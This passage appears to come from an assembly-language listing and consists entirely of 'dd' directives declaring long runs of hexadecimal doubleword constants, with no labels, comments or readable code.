0AE193A03h, 55382051h, 0B4614461h, 0A3104432h, 927FC8E1h dd 0C7B4F4DDh, 5891F400h, 799C92BBh, 90B0B24Bh, 81600270h dd 0F3FD8FB3h, 3CAA8084h, 87048CD3h, 7E7B6F44h, 4A203062h dd 67447Fh, 70E75A41h, 0AE4E2036h, 131A7315h, 5C1E07D0h dd 0BA1083EAh, 2094D3h, 0DDA484F7h, 913D49C6h, 0FF916C64h dd 499E7C05h, 60455F8Ch, 0E36029C4h, 0B514DA5Ch, 92987841h dd 4C35DCE4h, 9E803434h, 3CAB7BE7h, 0FB4BC4BAh, 1523E82Eh dd 0A50B4700h, 48187C74h, 358968A1h, 311444F2h, 10E4A2EEh dd 0E90944B6h, 4C908323h, 0EF1949B4h, 6D802E62h, 0C9085318h dd 0CE8E9A91h, 6BC200D1h, 2E4BA2C9h, 0BFC802FCh, 250D5506h dd 28FDC8E1h, 0AC35C47Ch, 758934A4h, 7A4215DBh, 7E009C23h dd 5884EF91h, 0CC007D65h, 0EA2F2D15h, 8151E2h, 0AFB40A9Dh dd 0BC2AE75Dh, 87A11604h, 0F880D9DDh, 4234D8Ah, 44463A22h dd 0A25C8009h, 5C9AB6DCh, 2025A800h, 0DE64E995h, 6CE00037h dd 5038802Fh, 0D490746Fh, 0C1304990h, 0EE0AB833h, 38B4006Ah dd 0AFB7F267h, 0CED32EFEh, 0C723742Fh, 39FC9600h, 0EFCC98h dd 8FD1583Dh, 0A97FA064h, 19C08D64h, 6D34A4h, 99C97A12h dd 0C8665D9h, 7B45BB01h, 0C0E5EF82h, 17118C4h, 338948B8h dd 74377E36h, 5056214h, 63799AFFh, 0B8E1B844h, 8154084h dd 64F20668h, 71151Ah, 0BBD47918h, 0FCA7BEFAh, 0DB0E4DE2h dd 1924E5h, 70CCAADDh, 68515C38h, 0F6E63B08h, 8B919E02h dd 902C58B3h, 29E52018h, 7518999Fh, 10BC503Ch, 98FE0C8Ch dd 94B102DDh, 500EEAEEh, 20B9CD57h, 0ABE0F069h, 0CF741317h dd 0C93C20DAh, 0A03E4CEFh, 5101B0D0h, 0EA33DDAAh, 96DF17A1h dd 0C25C4188h, 6075D883h, 48C64D0h, 3A72B7EAh, 20C862CFh dd 62B7D2EFh, 0F6E1D00h, 70F65818h, 363B257Bh, 0C80AD400h dd 8282D0B7h, 701402B8h, 0A468B148h, 0B81EDE70h, 57B6CB4h dd 20E08EB7h, 97FE78C2h, 821291B0h, 40D7F5C5h, 5CFA4C9Ch dd 6D139897h, 81D8921Bh, 11706C30h, 88487DEBh, 74328326h dd 0DDE05270h, 11B5420Eh, 0B04E47F0h, 4FC0C588h, 0EE5822D0h dd 2B5707F3h, 59B68AEh, 0CDFC024Ah, 1041C4ECh, 888F1336h dd 0FC3ABDh, 0E0EE76C3h, 4F4C506Ah, 4682A900h, 5EB30128h dd 0D1C8B926h, 1218C7h, 1BE8847Ch, 0AF160D11h, 3C34DB2Eh dd 562514BBh, 0E672099Ch, 0A05C4675h, 80286E98h, 0ECB1E50Ah dd 8D182ED1h, 18643E0Eh, 0EC5D13A3h, 604B8BCFh, 0BF6BB25Ah dd 0C83B0698h, 0B9C2DB55h, 0DC00EDE6h, 5F0595E3h, 1F6E1FD7h dd 40077EE8h, 9D69E761h dd 8330877Dh, 0AE39C80Fh, 7F384099h, 9C8CFA00h, 6A355EE7h dd 0E5D1005Bh, 2EC308DDh, 1C5A761Ah, 637BE407h, 98912175h dd 5800035Bh, 1A0643D2h, 24FBD77Fh, 49962A61h, 0BE751294h dd 0C84850B2h, 18CBDE8h, 766D350Ch, 2D3367CFh, 0C3793BFCh dd 2BE2B442h, 270FC30h, 492D9403h, 98481619h, 0DC00E9ADh dd 3538DBAAh, 0EC3EC8BFh, 8DC102E2h, 0A7C275Eh, 0F99EF482h dd 0F0C0EE04h, 4EDC0C04h, 81813F8h, 6189107Ch, 739C2022h dd 44DDAFh, 94723326h, 1725FAE4h, 0BD85D207h, 0B0B3D9AEh dd 0AD4011C9h, 0F01A2CB9h, 23C0469h, 9EE9BCE0h, 29465E04h dd 4332816h, 1F1FF08h, 9955BD07h, 13A5CDD8h, 5151E0Eh dd 424846F0h, 0B97C23E0h, 0B091C8A7h, 2ED6B853h, 0BD62550Fh dd 246FA288h, 0C8C05A8Fh, 65C07C98h, 467DE870h, 262290h dd 0B7706D3Bh, 7FDA630Eh, 48214531h, 0F04C97DDh, 83048CCFh dd 9E7B5344h, 3E3EA48Eh, 0ED2C4480h, 0B7F7E412h, 1C2BEB24h dd 0A18FB906h, 0BD552DA9h, 8898410h, 46ADF10Bh, 0F9B0201Eh dd 0C2BDAE35h, 0FBB19C21h, 5B14C4F2h, 0BC426E6h, 0A2FFA134h dd 0E88ECBF8h, 76A638C0h, 38149A29h, 76A61946h, 14824960h dd 7C02FDEAh, 84AB45h, 70840844h, 186F0A07h, 7E806476h dd 718FFh, 861A2A70h, 3B584CF5h, 0C0D648C8h, 7B6E4488h dd 38228646h, 44804901h, 7645FB9Ch, 840EB46Ch, 0C9803FEFh dd 7FB43B30h, 48347E5Dh, 18DA381Ch, 5E4134DCh, 7F471F68h dd 15328B7Bh, 0BA9B2490h, 0A7D16C81h, 770056D5h, 1F4F57CFh dd 32B9EC21h, 2E3E2207h, 0E9052470h, 413CBD72h, 0B4D43C8Dh dd 18A1B796h, 0EDFFCD23h, 6815FCCCh, 695E551Eh, 8064CF82h dd 4B483EDh, 0DE83E0E3h, 3601D24h, 0BDC8044Eh, 30F0CD31h dd 0FF00E3BCh, 7E35FD2Eh, 0F8C4868Ch, 4E83F81Dh, 5B444033h dd 0DDC059D2h, 0D4FF49h, 0E61D4B24h, 237BACEh, 0F9C95A3Fh dd 80636725h, 38C75818h, 639DAF41h, 35647028h, 78A2BDh dd 0EB86AA71h, 128B6E6Ch, 153024Dh, 337BE5B7h, 0E4346426h dd 385E0E01h, 8B87BA54h, 84411C68h, 0BBEC2078h, 640F88Ch dd 7FD745E0h, 905C5023h, 17A23ECh, 9A88C96Ch, 882E1866h dd 0C90064C3h, 8F0BDB41h, 0C0EC81h, 334D8CC4h, 6B06991Eh dd 0D2AEA800h, 4178F2CCh, 0B2720018h, 578915FFh, 82FC8FECh dd 423E030Ch, 30B7A097h, 37903D73h, 0DB305468h, 0A9C7D92Ch dd 0A2FC1CE5h, 0B8DC8C05h, 2F00C4D1h, 0ABBBDB1Fh, 4C4264BAh dd 7802D8A5h, 1A746F1Bh, 281E68F2h, 0B0C0799Eh, 7B434F83h dd 230F0B8Eh, 18E719E9h, 0AF60C844h, 9D050353h, 6561A201h dd 0FD661C81h, 0C9F78004h, 7F17EE06h, 30404B87h, 0C4FE655Bh dd 67842DC1h, 187FF891h, 0ED700B72h, 0A8E5787Dh, 707A3480h dd 0EAB52C3h, 0E7A992D3h, 0D9651E80h, 0F312EAB3h, 4049BBB7h dd 71005196h, 14518C6h, 0E54162C0h, 0D5B0DD5Ah, 2FC820DEh dd 7C34BC4Eh, 2B88388Eh, 0E7333FC0h, 0CBD26B5h, 370408C8h dd 18918C26h, 2FB13409h, 3B0500A0h, 0ACA013C2h, 0F462CB1Ah dd 1B581438h, 0AC8B5794h, 44C011C8h, 0F1A738Ah, 0F3A102A8h dd 0EE103C74h, 0A99C1A2Ch, 88AC5486h, 23854392h, 0C908688h dd 0FEF828Bh, 0B185227Dh, 0ACE8C4A9h, 0F8A43C7Fh, 32D6409Ch dd 0EA908883h, 0EC96B078h, 83580FDCh, 9803B0D3h, 30E9EC75h dd 0A882F2C7h, 1F191BE0h, 7F799C10h, 83C8D960h, 0C61CE2ABh dd 20320680h, 0D720F890h, 0C7CE04CBh, 0F0337983h, 0F14809FCh dd 282052Ch, 14834519h, 9801A4DAh, 0B984E4A1h, 3FF980CAh dd 75B2037Ch, 0E5D41645h, 0D3EC043Ah, 42DF0435h, 5FE0DCF6h dd 0EF7C7B40h, 25090C98h, 0B75323ADh, 7DAB809Ch, 207FA196h dd 8444EA4Ah, 8D1F3201h, 4BA8E003h, 0C526C8E8h, 48AC8C72h dd 7D004A71h, 3B4C8EDBh, 6E139BCh, 274D9B1Ah, 5217D122h dd 40F4AC35h, 4C544870h, 0CC2E4610h, 0F667C1BFh, 74543CE3h dd 0B2FFA80Ah, 501881E8h, 20CDBCB9h, 0B3400B58h, 0C3F8103h dd 6F048C7Eh, 607DE670h, 39202A62h, 4D7077h, 22890F5h dd 7B0B0E72h, 82211669h, 2DD790h, 65F0AE37h, 95FEBB80h dd 0F5E7E493h, 0F40C6066h, 0CE34ED9Ch, 4885B007h, 0E22A5CA2h dd 8036FA30h, 0DC5055B0h, 1D40828Ch, 87230804h, 0B804034Fh dd 48A0A1A7h, 61D1E27Fh, 0C66039D9h, 7D09D8BEh, 17CBB716h dd 309A9434h, 0C89973C0h, 8200B23Ah, 0E50DD0D7h, 5C715C55h dd 91027766h, 8F117FE1h, 0F1307070h, 40B11867h, 24620105h dd 2CE975E2h, 9946641h, 605D8E39h, 167B55F4h, 0D12B36ABh dd 1C43FC0h, 5840AE35h, 2D81E8B2h, 50802833h, 2F06ED9Bh dd 1F483797h, 0D3B1C430h, 0FE1C8CD9h, 0B17D2388h, 903002E0h dd 0B4A01D2Dh, 9997D7C4h, 0C44334Ah, 0F04E2CFFh, 4E10D874h dd 86090312h, 58D48132h, 552FD438h, 877D8001h, 0C184578Fh dd 3AA1CAA6h, 22584036h, 0F50928FBh, 8280742Ah, 4D76368h dd 9198307Bh, 265A269Dh, 0ECFD04FCh, 0F2ECF26Ah, 29E9302Bh dd 2F865805h, 648192A5h, 0C01BFCFh, 0BCA0688Fh, 0E7EE8C2Bh dd 1C1FD00h, 67739591h, 0E1844A83h, 0D58C0793h, 82BC329Dh dd 0DF85B410h, 22882849h, 1A2F11C3h, 3538A279h, 0F60F137h dd 47282EBh, 32CD6FB0h, 197520F8h, 0F102C2A5h, 1046B04Ch dd 421CC62Dh, 0B80C50C7h, 260898B1h, 8D76249h, 0D26CB200h dd 199F1260h, 57B090DAh, 71052763h, 2F6C956Eh, 0E15AC201h dd 0AC6D1787h, 266FAC1Dh, 14BD0000h, 0CE0A24E2h, 0C848826h dd 62121D51h, 97CB7860h, 0EDBD3915h, 82F2188h, 44A53876h dd 8C970350h, 78BBEE0Bh, 758438D0h, 0E7CA2F0Fh, 2BD979B2h dd 3A88D10Ch, 53592596h, 1FAFF860h, 46D41641h, 98575370h dd 0C9108474h, 2CD0CBFBh, 58A98089h, 0BDE4C0E5h, 0F0C0A162h dd 44865440h, 0E95C9B3Ah, 4136102Ch, 0C8048A92h, 0C580CF2Ch dd 0F392E345h, 37094890h, 37297446h, 392508F0h, 1015BF42h dd 0E285A013h, 1210C033h, 0C4478427h, 6EC0D109h, 0D0C14D8Fh dd 2427CF7Fh, 0E0FD8308h, 40BA3F87h, 0A0E28230h, 0A5D39C8Ch dd 4D488D0h, 0B06CB101h, 242EAD0Bh, 460AA4Ch, 31B71FD6h dd 8658393Fh, 88BC6284h, 0F38EBAF4h, 0A8E98292h, 0D871B084h dd 3CB47CDCh, 8AF88Fh, 2FAFA9EBh, 65BC0338h, 91615D59h dd 2CF407C1h, 0F619204Ch, 0A439D2F9h, 0CCBCDAE4h, 91A94E80h dd 73C7226Ah, 3EAA2C1Ah, 88813E4Ch, 118158D3h, 0DF00249Dh dd 3513E6F8h, 7CD0DA03h, 0E2977224h, 0E620033h, 1A6A3C85h dd 430CE17Eh, 290A7F18h, 0EDFC2F81h, 7A624020h, 0CF1D33B4h dd 800265A7h, 0F1EB8972h, 1811795Ch, 8DD507C9h, 20E48F51h dd 0DBF4B426h, 59A6189Ch, 198AF503h, 5ABD0C7h, 5F7373h dd 0E75D092h, 49EA6B45h, 207B8825h, 0AF732F24h, 5B810310h dd 0FCAAA62Eh, 9562C7C8h, 680E58E6h, 0A0BF80D9h, 5374C2D2h dd 8F241663h, 9D545C61h, 0F2FDD27Ch, 3015E248h, 0A1129A37h dd 0C4E8B6E3h, 29BE6308h, 0A1FD610Ch, 159005Dh, 1D8005B9h dd 9800CA54h, 30639C88h, 697D7E3Ah, 81008826h, 0E5B31A32h dd 0EB9C8200h, 0CB24B67Bh, 0DF1BF62Bh, 0DA44079h, 59F5BC99h dd 0A0543901h, 10355A87h, 69232838h, 6FB7E701h, 2C3FF73Ah dd 0CF02EE28h, 6FB445B7h, 40A0F8E8h, 0E5620A2Dh, 5417E10h dd 0A29B129Eh, 725700F0h dd 0FE3BD753h, 7DF20Bh, 93D5702Ah, 0BE0DDC68h, 1A095C0Ch dd 779311Ch, 0E74E7A0Fh, 0D930002Ch, 3716AECBh, 0E43A1617h dd 0D5003223h, 0BD2011ACh, 0A998A001h, 0A8E25D77h, 250F3811h dd 0C8786B61h, 0E45CD8FAh, 0D9550006h, 0FD2D19C1h, 8504EF68h dd 0E09C7996h, 0A16440C3h, 0C6895AFh, 923EC601h, 0EE35E508h dd 0EC56C4C6h, 0C48B4EF8h, 0D5C02CC8h, 2E4F60CDh, 3B4A0Ch dd 7722DEF0h, 2E09D838h, 0F101AE35h, 0CE0F089Ch, 7C301428h dd 8EAD921h, 0B6C51286h, 490F03C4h, 508F56EDh, 47B07F74h dd 4AE23500h, 0D908C24Dh, 4C81E26Ch, 7680507Ah, 0BD34B793h dd 44401100h, 0DB86B9FEh, 236A3FCCh, 0C23BCF00h, 0AB7F49EFh dd 2644BB09h, 0D21C892Ch, 0B46D3B70h, 6C00A9EFh, 0A19B0205h dd 0B0CAF333h, 0D4238A81h, 28465EE4h, 0DCBD203h, 44005D68h dd 82F7FADAh, 75C79322h, 7A18178Ch, 0BD0C222Ch, 710B6720h dd 4A20005Ah, 3779DF47h, 10087E4h, 1C9FD723h, 4B3D12Ah dd 85B59C68h, 78009976h, 8C2DBC68h, 189C7201h, 2B892334h dd 0F3879F2h, 0E5090BC1h, 30E4C8E5h, 0AFB4AB60h, 0FAFE6F02h dd 400B22C8h, 8925D6CCh, 385CD6A1h, 1BDE1831h, 672CC504h dd 27792120h, 0AB8101CCh, 61115462h, 87071E29h, 11B96E00h dd 3D14F3C1h, 0F93D5230h, 5E0499Eh, 0C1289FCAh, 736E398h dd 7CF509F2h, 2E465EFCh, 1785363Dh, 0E0DF919Bh, 38356E48h dd 0BC09A88Eh, 9E74016Ch, 3F5F91h, 0A51E5CC4h, 0C124E5CCh dd 65412483h, 0D02F877Ah, 480E1A90h, 0D39DD112h, 0B1B55808h dd 4D74F48h, 6B5AE4A8h, 32DA00A8h, 1FEF089Bh, 378205ACh dd 0C82595A6h, 0A0BC83A4h, 0CC50C564h, 51D4210h, 0D207B186h dd 889E28CCh, 0EAEFAF7Dh, 0CE96A8E8h, 9C5B5A41h, 0A06284C2h dd 6B19CCE1h, 0C80B9812h, 91101797h, 3E1780C7h, 0EE986A33h dd 0AF7F09AAh, 70C8213Bh, 5C800945h, 6A380903h, 0CD00F3F2h dd 0FAD13FD7h, 861FF573h, 97C0D9A7h, 3183C702h, 0CD650553h dd 9C4EC33h, 7602C0C4h, 7471FE2Ah, 0C4181071h, 0F975B800h dd 578F43BBh, 286C03B2h, 5CC1240Eh, 91A63898h, 5A92262h dd 58BCDB98h, 64002D70h, 8214B430h, 0E463E15Eh, 3F440ECFh dd 4472A808h, 0A9AD3530h, 7FD901F0h, 0F54B88E5h, 0D234412Ah dd 207DF85Bh, 0A4A01E50h, 223D48B7h, 24164B88h, 0BEF20CE2h dd 3A3DE230h, 0FC05750Bh, 0B29BB184h, 195E7870h, 2623683Eh dd 6F3EC09h, 16B03C05h, 0A3B578B0h, 4DFB27B8h, 0DD35603Ch dd 636C7B68h, 12EE481Eh, 0C207B77Fh, 0A0D21948h, 8FC2C801h dd 0BEB84830h, 72AC20h, 52EB4DE9h, 0FE125DFBh, 781A40C4h dd 0C60050E9h, 97DE1C42h, 78B17B8Fh, 67528A1Dh, 0C0F94F0Fh dd 0EB5E11EDh, 0AF713E17h, 80581278h, 23443A07h, 1C78032Ch dd 0BDD04CEAh, 0D00A0E72h, 0C008B46Eh, 29FC9910h, 0B71F098Ch dd 1021ADDBh, 4701A7DAh, 0FC71398Bh, 465E00AEh, 374E00CAh dd 39749314h, 4094989Ch, 6C7283D5h, 65882569h, 6012E43Ch dd 1F52F425h, 2901F9DBh, 182CF980h, 86C61FF0h, 20796BCh dd 66E59CFDh, 0C77914F1h, 976CB18h, 0E6FC55F4h, 2B203890h dd 6A37040Fh, 0C0320C76h, 8B859E0h, 3F6C1DB7h, 5B5700C6h dd 8562BCD5h, 0F391482Dh, 0F0809727h, 1AE4828Ah, 10800158h dd 8901D0F7h, 8723032Ah, 64422EC2h, 1E098Eh, 0D412C975h dd 693D5F18h, 13DF3121h, 48B5ED7Fh, 0E56B5320h, 60CA6498h dd 3EF059D1h, 0DE075D29h, 40B515CFh, 0BADEC7Fh, 0A211949Ch dd 6FA99E05h, 3B28D0D6h, 8680167Eh, 7809480Ah, 5D848A7Ah dd 0D7DCE0EBh, 847E4828h, 352D40h, 857BD546h, 0C3FA7503h dd 67F19305h, 28F26124h, 0C9302CF2h, 587200E6h, 92DED3DDh dd 0CF27440Bh, 9114859Fh, 1D81A4F8h, 80121387h, 6C216618h dd 0B97B976h, 0EC37E4B1h, 9A2044F0h, 0DA0A3CFFh, 0A1201131h dd 1BF882EBh, 72F50E5Eh, 470A40F8h, 37C3AF18h, 4E188058h dd 3320887Fh, 0EE800677h, 0A8871ABBh, 0D41028D8h, 557F8E3Ah dd 77004BDh, 17DA6858h, 0C5FB1388h, 0BF8C750h, 0F482F7CCh dd 1E00F54Fh, 88B8B7A9h, 0F840DE3Bh, 60F245B1h, 3A59CB34h dd 9E42883Ch, 30FC0C32h, 0CD0B2380h, 810A8502h, 5968454h dd 48E55F02h, 0D96226E4h, 37C0F08Eh, 0BAFFB2Bh, 1828F648h dd 8358F32Fh, 7D4B02BCh, 4629896Ch, 0B1932CFCh, 0BB001C7Fh dd 625A1E53h, 39E3175Dh, 81C00048h, 0B1BAF8A5h, 96AB29D2h dd 846D9EFCh, 80719D50h, 0D3B7FE44h, 85582348h, 90023D96h dd 4847AF17h, 0BD82B36Ch, 0B5233822h, 607C88FAh, 0ADD25h dd 0A25B7B04h, 0B94932Fh, 0C3F347Fh, 530CD200h, 0C347F646h dd 4DB19858h, 4208B1ECh, 7C031F60h, 523924B2h, 431A0844h dd 7799C02h, 42CD4C9h, 82F80BB0h, 94A73628h, 2F39CC7Ch dd 540AD902h, 29216EFh, 5E00DA6Fh, 0B289968h, 0FA591A63h dd 7D0E60F3h, 0A040CFFEh, 5D69B27Bh, 0EA5B0B71h, 0D8020C77h dd 81241F79h, 55B15DC0h, 88C0D978h, 8825080Eh, 54000690h dd 199F0CF6h, 5ABB1FAh, 3F576452h, 427F83A7h, 0B25E5102h dd 41F61E5Ch, 0E504FA94h, 879400E0h, 0FB022E2Ch, 0DD1C2084h dd 5ED4A001h, 9849FF67h, 0CF1E40C8h, 0C4290840h, 0B761DA0h dd 0B0F2DBh, 3B7A2B1Ch, 6CACE5CBh, 87B0324h, 0C7D77D40h dd 0E6149029h, 78C801D1h, 0A35C9B6Ah, 582F2A76h, 0C2011223h dd 17145829h, 0DC0E9072h, 70C05DA1h, 8F189C0h, 45882312h dd 0BB88288Fh, 0D56005C1h, 5AAC203Ah, 2D00B19Ch, 445FCF0Bh dd 9763774h, 19E15922h, 2A11601Dh, 0B2B6A80h, 34A8E9A2h dd 0F000CE2Ch, 0DE2D2613h, 3B014D1Fh, 2845A85h, 0C13D085Bh dd 1572854h, 222F88DDh, 8630D078h, 7B501144h, 802C8896h dd 0FA447E47h, 860B708Eh, 82FD815Eh, 0BB57B80h, 0DA62402h dd 7D04645Eh, 40ACCDCFh, 0A4006739h, 0A197E88Eh, 30C9DFE3h dd 974CF005h, 1191001Dh, 0C5430680h, 960080B3h, 264B8679h dd 103674FBh, 66E5746h, 0FA127FA1h, 41684C88h, 3C7E8900h dd 592C54E3h, 7A3DBD00h, 5B7F0AEEh, 91804B9Bh, 940CE8h dd 4874F421h, 204AD699h, 9EC4FF4Ch, 482C14Fh, 0F8E12F29h dd 387A3B05h, 0C99E1F60h, 7F3880A7h, 5B9989ABh, 1018182Fh dd 31443783h, 4ADAF0BDh, 478A326h, 0BCA7999Eh, 0B218E4F9h dd 6FC15942h, 5918D860h, 98214571h, 644326A0h, 5B60F30h dd 2046B061h, 88947C31h, 0E89E881Ch, 2C1FC608h, 0ADF9028Ch dd 0ACF9CC46h, 0F404AE04h, 0A4DAE905h, 6300A460h, 0C246453Ch dd 0B5DCC8BEh, 20A3EC27h, 154C547Dh, 0DEE5DA00h, 0BA58BC71h dd 0D97E0B33h, 0C4D1EC91h, 82DE0800h, 4E926D27h, 0B8F47284h dd 0ED27CC74h, 7787C01Ch, 0A6133510h, 38D7278Dh, 0B7330554h dd 0ECFCE8B4h, 6F008C37h, 0B1852A3Ch, 9C2C818Eh, 0B95C981Ch dd 3BE4B77Fh, 0A63970C1h, 906A02C5h, 119EA418h, 3C9496F8h dd 0C6465Ch, 0BB35ECD8h, 39D99D4h, 2A7B2DCh, 88CC9379h dd 63402414h, 28DF0484h, 0C325DE58h, 69B354F0h, 0B77E41FFh dd 678850D7h, 6F2734EBh, 254EC94h, 0C95BC799h, 0D4C1D51Ah dd 0E468102Bh, 8AF91771h, 40A8E0ECh, 0C9257FEAh, 58F87BFAh dd 73021E57h, 0C8091AF6h, 2445296Fh, 0E06030E4h, 4D01984Bh dd 242C5D96h, 403ADC9Fh, 60117D1Ch, 320735DAh, 0C84D5890h dd 0AD221240h, 44AE0448h dd 0B072D09Ch, 4EB51F24h, 5F397CF0h, 0F33C80F9h, 4716DFF4h dd 24B429E4h, 846133Ah, 289CCD25h, 8CC9ACB8h, 97B1F939h dd 64C8D249h, 0F6AA006Fh, 46B63402h, 22250AF3h, 1AEC6984h dd 93F44F7Eh, 0B167F540h, 0C31780AFh, 0CC0747A3h, 8F924654h dd 0F2230734h, 0E20E3869h, 4DBB7h, 925A637h, 0C82DE1DFh dd 0E04C8AC0h, 5A099893h, 0CF38C017h, 6715041Ah, 0AC74C963h dd 0CAFB3879h, 0F9587F35h, 0A2F85378h, 0D00F312Dh, 4F0457B9h dd 4AADFB02h, 1E1310ACh, 157C0808h, 712C9A6h, 5ABE50B0h dd 82C0902Ch, 0D2177BBFh, 78E7476Ch, 0B1AC4C4Dh, 21EA802h dd 680A843Fh, 9409960Ch, 2B46765Ch, 69DE0F05h, 3BB88249h dd 0E2EAF444h, 24B2A40h, 0E602EE4Dh, 687E04CAh, 7918FF7Ch dd 3041921Fh, 0A3847A00h, 9563B7F7h, 83B3F082h, 0CA469C5Eh dd 3A9A0530h, 8F50BB0h, 9E8285B4h, 72B58FA9h, 840640D4h dd 786D3788h, 0BE4C32A0h, 0D0901858h, 0DB00F5C4h, 99E1CD3Dh dd 1F2AAA13h, 0C7EA3B01h, 0FC5EB48h, 2597DFC1h, 6F182055h dd 94DA1F24h, 8CF51A96h, 3FA49E80h, 0F628D7E5h, 5F703607h dd 0DBD0A8F7h, 25BA64BDh, 6CD23A74h, 5512B6F0h, 14A47A70h dd 0F1620085h, 0AA2B4834h, 0BA0AF573h, 0B0CD6C58h, 49C0D144h dd 59179240h, 360B94AFh, 1CE22F91h, 5D28925Dh, 5A015C37h dd 83783001h, 133A44F4h, 89969361h, 0C46DF0A8h, 8221B005h dd 0CC20DD7Ah, 20ACF2E9h, 78967432h, 28A28716h, 6F017923h dd 6E9A85C9h, 0C6880F18h, 2BC90067h, 0D83CDE1h, 34B0D977h dd 0A9B19704h, 0D4CE2C79h, 14C02CC8h, 0B4C6A22h, 338DBF8h dd 0CAD9B8D1h, 8A009518h, 5A1F98A6h, 0F7CBA99Ch, 0EA139022h dd 2B2098F8h, 26CFA188h, 477CDBE9h, 0CB02D819h, 0D2C31A4Bh dd 7FCF0218h, 70A8505h, 7D3018D7h, 0E175AD7h, 0F5EB1950h dd 0B4DBD851h, 64DFB560h, 42F4CE0Bh, 0D8D100C7h, 560EE7Fh dd 437B6A57h, 4CFCD00Ah, 5226627Dh, 4CDE94D7h, 1C094ABCh dd 405481DDh, 0D405B140h, 34930007h, 0F926CA83h, 0B2013529h dd 0FE582D5Ch, 942C6CDBh, 5B829E88h, 5B35454Bh, 49287098h dd 0C9745407h, 9550B569h, 975F5AFFh, 2B119497h, 0C6A2B680h dd 9CA1C05Fh, 9478DE17h, 54CBFE4Bh, 0A0CF2C88h, 0C3F9F4C5h dd 0DCC813F6h, 42F491ADh, 0CC7A6BF5h, 0FBE04D00h, 277B5823h dd 1859C1C0h, 1EAD8C1h, 0B397C23Dh, 0EA63EBE5h, 873B4FE0h dd 4C8C7B00h, 0E1859D7Ch, 0F592FE7Eh, 8000183Dh, 0C13AC64Dh dd 0CCFD606Dh, 0CA5B3E53h, 0FCE43082h, 56798F8Ch, 44885B30h dd 0D2624C42h, 34810816h, 6431BA1Ch, 0C1E475DFh, 49DD28AFh dd 87E49620h, 0D0B6F081h, 0F9B54711h, 799C8504h, 0C088D253h dd 0A1E403Eh, 7CDBD54Ah, 26130C0h, 0D6416FA1h, 7620056Fh dd 3E50C9CFh, 329F0004h, 0D460810Eh, 0FACD087Dh, 0B47B7899h dd 354BCF60h, 42801F00h, 162291F0h, 6CF30B7Fh, 0F840F97Eh dd 0B4006D39h, 9972EAB1h, 2FC04Bh, 28F683CBh, 5C694C62h dd 68311E4Ah, 18FD637Bh, 7B8972Ah, 95A5C8E7h, 0C6BFC4h dd 219CB9D8h, 52B8534h, 53D7F40Ch, 2FF4E91Eh, 6EC8E8DCh dd 6B4F032Bh, 949A122Dh, 0C70B6290h, 91BD74B8h, 0D5E5790Ch dd 0F5165441h, 8123D100h, 82DDACAAh, 10758F18h, 14BF29ADh dd 52FC80FCh, 77C8881Fh, 38B4BD4Ah, 194762A2h, 42B6FA8h dd 1B0E0410h, 83B41390h, 39DD7CD1h, 208DF980h, 503F6866h dd 21D4E300h, 28526ED5h, 0CFCD027Ah, 77D04EC0h, 0CCB83B5Fh dd 6A3E2941h, 9E808346h, 0FA5B05E5h, 9FC4DE19h, 1020EDEBh dd 0E4DBEEAFh, 6D9711C9h, 3C7860D4h, 1B00A317h, 501C25A4h dd 0A6BD226h, 0DDD58771h, 0CA244098h, 0EB06E8B5h, 0EC7FEE16h dd 38692F80h, 2F6450E7h, 54085360h, 4F302001h, 75DEBBC3h dd 5C807C30h, 22141C58h, 0CE2780E9h, 1511C09Fh, 0F5E37682h dd 0E01C8584h, 2028F24h, 0F3E2781Fh, 0CD044D7h, 8BD8E37h dd 0B95DDDD0h, 0C5CD008Ch, 11FDCFE9h, 892D057Eh, 0BF1DEA63h dd 3F32821h, 7A50B100h, 5E24C697h, 803C9BD8h, 0F4845DCAh dd 1CE4B781h, 2E129C71h, 88ED6496h, 6F6D3700h, 54585E6Ch dd 1628E4B7h, 0F904C8Bh, 0D1AF03A6h, 697C6E26h, 1934CF02h dd 766CF90Eh, 697540FCh, 68E40346h, 0A4FB1F07h, 0D0F0C357h dd 28DC3345h, 20C40ADEh, 0AF26FD56h, 2665B049h, 25072980h dd 0F8D3090Ch, 1CBA97E8h, 4656B4FCh, 0B4AA002Ch, 35A14F8Ah dd 26D7C64h, 7FD492F4h, 0E4A0AFD7h, 0DFA19C86h, 0A0F4CA4Ah dd 1B6D207Eh, 675CC701h, 0A96BDA35h, 83D4302Eh, 1D4C0720h dd 0D9242520h, 182CF118h, 0ABE802C4h, 0FFA1397Ch, 291130FCh dd 4BAF7F05h, 0F7BCD322h, 7B1A3914h, 675E83E8h, 30B3CD87h dd 0DC88205Bh, 0E3008E43h, 84D87266h, 77E9B2C2h, 0E5A813BBh dd 66D0DDD3h, 24E5B06Ch, 36DC3007h, 17CC8191h, 0E4F35103h dd 0C8A8F6B3h, 59D42Bh, 0C552D350h, 397088D0h, 18F0924Eh dd 0D58E2738h, 6E622482h, 7A8868DBh, 8916418Ah, 663E0E9Eh dd 0DFB18489h, 9D048840h, 0BB0C02BDh, 5BA90F3Bh, 6FFD6864h dd 329CE8C1h, 0BAC80405h, 0FE864010h, 4EDD8F23h, 6528E61Ch dd 84ACEE38h, 0FCFC3C2Ah, 0AFFB2586h, 0F4025059h, 0DB9DB497h dd 16404C88h, 0DD384DEFh, 87F98521h, 7089C4B2h, 80350064h dd 4304F02Eh, 289E4B81h, 8079F0D2h, 252E7B7Ch, 778712BBh dd 0C338A80Fh, 51BAE38h, 839F7FA1h, 21AC533Ch, 0D1214304h dd 2096DA18h, 2E999E11h, 335FD708h, 51B63706h, 0C44705B9h dd 62F21770h, 0A8C03570h, 98892130h, 5A4F8C64h, 46E471D8h dd 758462DCh, 88A52500h, 0C19438CEh, 0CBF4381Eh, 0D885A600h dd 57A2ED5Dh, 2815B04h, 14DBE43Dh, 6A8673C0h, 1700897Ah dd 81685238h, 0F46BD316h, 719C047Bh, 0C048DFFCh, 72C1F161h dd 0F0314503h, 0EFA590Dh, 47251721h, 721038E1h, 29DC4E2h dd 9C817602h, 0DE6879B4h, 0F67E8780h, 77DA100Dh, 0AF63206h dd 41307100h, 1C793D6Dh, 79701B2h, 8766B59Dh, 70BBF0E8h dd 0D0F1FF27h, 0AEC3024Ch, 92197B7h, 1721C8AFh, 3F0A12B8h dd 40E8E88Ah, 20E842E1h, 0FCA1CEC3h, 36108CDDh, 405708D4h dd 0A540967Ah, 80C7405Bh, 4066B640h, 9240D1BAh, 90BC4086h dd 408EA940h, 9540D507h, 0F07440EBh, 630BD240h, 228C782Bh dd 28670810h, 10F5ED10h, 8A3F4026h, 0B9596340h, 80831B8h dd 0DA01C8A3h, 38101ACh, 1DC9501h, 388D18DDh, 0BE0919D6h dd 0BD5512F6h, 1848644Ch, 